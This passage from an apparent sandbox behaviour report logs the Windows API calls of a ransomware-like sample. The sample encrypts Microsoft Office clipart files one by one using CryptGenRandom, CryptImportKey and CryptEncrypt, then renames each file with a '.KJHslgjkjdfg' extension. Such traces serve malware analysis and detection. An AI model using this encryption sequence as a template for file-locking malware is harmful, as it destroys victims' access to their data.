office\\clipart\\pub60cor\\hh00241_.wmf.kjhslgjkjdfg")) returned 1 [0159.942] CloseHandle (hObject=0x114) returned 1 [0159.942] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0159.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.943] GetProcessHeap () returned 0x2a0000 [0159.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.943] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.944] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.945] GetProcessHeap () returned 0x2a0000 [0159.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.945] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.946] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.946] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.946] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.946] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.946] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe4e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe4e, lpOverlapped=0x0) returned 1 [0159.946] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe50, dwBufLen=0xe50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe50) returned 1 [0159.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.946] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe50, lpOverlapped=0x0) returned 1 [0159.946] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.947] SetEndOfFile (hFile=0x114) returned 1 [0159.949] GetProcessHeap () returned 0x2a0000 [0159.949] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.949] GetProcessHeap () returned 0x2a0000 [0159.949] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.kjhslgjkjdfg")) returned 1 [0159.950] CloseHandle (hObject=0x114) returned 1 [0159.950] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0159.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.951] GetProcessHeap () returned 0x2a0000 [0159.951] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.951] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.951] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.953] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.953] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.953] GetProcessHeap () returned 0x2a0000 [0159.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.953] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.953] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.953] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.953] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.954] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.954] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.954] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.954] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.954] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbc8, lpOverlapped=0x0) returned 1 [0159.954] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0) returned 1 [0159.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.954] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbd0, lpOverlapped=0x0) returned 1 [0159.954] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.954] SetEndOfFile (hFile=0x114) returned 1 [0159.956] GetProcessHeap () returned 0x2a0000 [0159.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.956] GetProcessHeap () returned 0x2a0000 [0159.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.kjhslgjkjdfg")) returned 1 [0159.957] CloseHandle (hObject=0x114) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0159.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.958] GetProcessHeap () returned 0x2a0000 [0159.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.959] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.960] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.960] GetProcessHeap () returned 0x2a0000 [0159.960] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.960] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.960] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.960] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.961] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.961] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.961] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.961] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.961] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.961] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.961] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5f8, lpOverlapped=0x0) returned 1 [0159.961] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600, dwBufLen=0x600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600) returned 1 [0159.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.961] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x600, lpOverlapped=0x0) returned 1 [0159.961] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.961] SetEndOfFile (hFile=0x114) returned 1 [0159.964] GetProcessHeap () returned 0x2a0000 [0159.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.964] GetProcessHeap () returned 0x2a0000 [0159.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.kjhslgjkjdfg")) returned 1 [0159.965] CloseHandle (hObject=0x114) returned 1 [0159.965] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0159.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.966] GetProcessHeap () returned 0x2a0000 [0159.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.966] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.968] GetProcessHeap () returned 0x2a0000 [0159.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.968] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.968] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.969] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xce2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xce2, lpOverlapped=0x0) returned 1 [0159.969] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcf0) returned 1 [0159.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.969] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcf0, lpOverlapped=0x0) returned 1 [0159.969] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.969] SetEndOfFile (hFile=0x114) returned 1 [0159.971] GetProcessHeap () returned 0x2a0000 [0159.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.971] GetProcessHeap () returned 0x2a0000 [0159.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.kjhslgjkjdfg")) returned 1 [0159.972] CloseHandle (hObject=0x114) returned 1 [0159.972] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0159.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.973] GetProcessHeap () returned 0x2a0000 [0159.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.973] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: 